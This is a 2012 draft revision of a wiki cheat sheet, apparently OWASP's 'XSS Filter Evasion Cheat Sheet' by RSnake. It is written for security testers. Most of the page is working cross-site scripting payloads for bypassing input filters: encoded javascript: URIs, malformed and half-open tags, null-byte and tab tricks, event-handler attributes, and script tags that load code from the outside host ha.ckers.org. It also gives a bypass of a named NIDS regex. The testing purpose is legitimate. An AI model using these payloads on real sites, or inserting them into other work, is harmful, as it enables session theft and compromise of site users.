Difference between revisions of "XSS Filter Evasion Cheat Sheet"

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= Browser support reference table =
 
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<TD>IE7.0

Revision as of 20:31, 3 September 2012

DRAFT CHEAT SHEET - WORK IN PROGRESS

Introduction

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

Tests

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

XSS Locator

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS locator 2

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses <XSS to see if it is vulnerable:

;!--"<XSS>=&{()}

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No Filter Evasion

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]


Image XSS using the JavaScript directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No quotes and no semicolon

<IMG SRC=javascript:alert('XSS')>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Case insensitive XSS attack vector

<IMG SRC=JaVaScRiPt:alert('XSS')>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

HTML entities

The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Grave accent obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Malformed IMG tags

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

fromCharCode

if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

UTF-8 Unicode encoding

all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS [Calculator http://ha.ckers.org/xss.html#XSScalc] for more information:

<IMG SRC=javascript:alert('XSS')>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Long UTF-8 Unicode encoding without semicolons

This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Hex encoding without semicolons

This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS[calculator http://ha.ckers.org/xss.html#XSScalc] for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded

Embedded tab

Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]


Embedded Encoded tab

Use this one to break up XSS :

<IMG SRC="jav	ascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded newline to break up XSS

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<IMG SRC="jav
ascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded carriage return to break up XSS

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Null breaks up JavaScript directive

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Spaces and meta chars before the JavaScript in images for XSS

This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC=" &#14;  javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Non-alpha-non-digit XSS

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Extraneous open brackets

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

<<SCRIPT>alert("XSS");//<</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No closing script tags

In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Protocol resolution in script tags

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//ha.ckers.org/.j

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Half open HTML/JavaScript XSS vector

Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Double open angle brackets

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<iframe src=http://ha.ckers.org/scriptlet.html <

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Escaping JavaScript escapes

When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

End title tag

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMAGES

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG Dynsrc

<IMG DYNSRC="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

IMG lowsrc

<IMG LOWSRC="javascript:alert('XSS')">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

BODY tag

Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<BODY ONLOAD=alert('XSS')>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]


Event Handlers

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:

 1.	FSCommand() (attacker can use this when executed from within an embedded Flash object)
 2.	onAbort() (when user aborts the loading of an image)
 3.	onActivate() (when object is set as the active element)
 4.	onAfterPrint() (activates after user prints or previews print job)
 5.	onAfterUpdate() (activates on data object after updating data in the source object)
 6.	onBeforeActivate() (fires before the object is set as the active element)
 7.	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand  ("Copy") function)
 8.	onBeforeCut() (attacker executes the attack string right before a selection is cut)
 9.	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
 10.	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
 11.	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
 12.	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
 13.	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
 14.	onBegin() (the onbegin event fires immediately when the element's timeline begins)
 15.	onBlur() (in the case where another popup is loaded and window looses focus)
 16.	onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
 17.	onCellChange() (fires when data changes in the data provider)
 18.	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
 19.	onClick() (someone clicks on a form)
 20.	onContextMenu() (user would need to right click on attack area)
 21.	onControlSelect() (fires when the user is about to make a control selection of the object)
 22.	onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
 23.	onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
 24.	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
 25.	onDataSetChanged() (fires when the data set exposed by a data source object changes)
 26.	onDataSetComplete() (fires to indicate that all data is available from the data source object)
 27.	onDblClick() (user double-clicks a form element or a link)
 28.	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
 29.	onDrag() (requires that the user drags an object)
 30.	onDragEnd() (requires that the user drags an object)
 31.	onDragLeave() (requires that the user drags an object off a valid location)
 32.	onDragEnter() (requires that the user drags an object into a valid location)
 33.	onDragOver() (requires that the user drags an object into a valid location)
 34.	onDragDrop() (user drops an object (e.g. file) onto the browser window)
 35.	onDrop() (user drops an object (e.g. file) onto the browser window)
 36.	onEnd() (the onEnd event fires when the timeline ends.    
 37.	onError() (loading of a document or image causes an error)
 38.	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
 39.	onFilterChange() (fires when a visual filter completes state change)
 40.	onFinish() (attacker can create the exploit when marquee is finished looping)
 41.	onFocus() (attacker executes the attack string when the window gets focus)
 42.	onFocusIn() (attacker executes the attack string when window gets focus)
 43.	onFocusOut() (attacker executes the attack string when window looses focus)
 44.	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
 45.	onKeyDown() (user depresses a key)
 46.	onKeyPress() (user presses or holds down a key)
 47.	onKeyUp() (user releases a key)
 48.	onLayoutComplete() (user would have to print or print preview)
 49.	onLoad() (attacker executes the attack string after the window loads)
 50.	onLoseCapture() (can be exploited by the releaseCapture() method)
 51.	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
 52.	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
 53.	onMouseDown() (the attacker would need to get the user to click on an image)
 54.	onMouseEnter() (cursor moves over an object or area)
 55.	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
 56.	onMouseMove() (the attacker would need to get the user to mouse over an image or table)
 57.	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
 58.	onMouseOver() (cursor moves over an object or area)
 59.	onMouseUp() (the attacker would need to get the user to click on an image)
 60.	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
 61.	onMove() (user or attacker would move the page)
 62.	onMoveEnd() (user or attacker would move the page)
 63.	onMoveStart() (user or attacker would move the page)
 64.	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
 65.	onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
 66.	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
 67.	onProgress() (attacker would use this as a flash movie was loading)
 68.	onPropertyChange() (user or attacker would need to change an element property)
 69.	onReadyStateChange() (user or attacker would need to change an element property)
 70.	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
 71.	onReset() (user or attacker resets a form)
 72.	onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
 73.	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
 74.	onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
 75.	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
 76.	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
 77.	onRowsEnter() (user or attacker would need to change a row in a data source)
 78.	onRowExit() (user or attacker would need to change a row in a data source)
 79.	onRowDelete() (user or attacker would need to delete a row in a data source)
 80.	onRowInserted() (user or attacker would need to insert a row in a data source)
 81.	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
 82.	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
 83.	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 84.	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 85.	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
 86.	onStart() (fires at the beginning of each marquee loop)
 87.	onStop() (user would need to press the stop button or leave the webpage)
 88.	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
 89.	onSubmit() (requires attacker or user submits a form)
 90.	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
 91.	onTrackChange() (user or attacker changes track in a playList)
 92.	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
 93.	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
 94.	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point.   The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Browser support reference table

IE7.0 Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF2.0 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
O9.02 Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
NS4 Vector works in older versions of Netscape 4.0 - untested.

Note: if a vector is not marked it either does not work or it is untested.

References

http://ha.ckers.org/xss.html

Authors and Primary Editors

RSnake

OWASP Cheat Sheets Project Homepage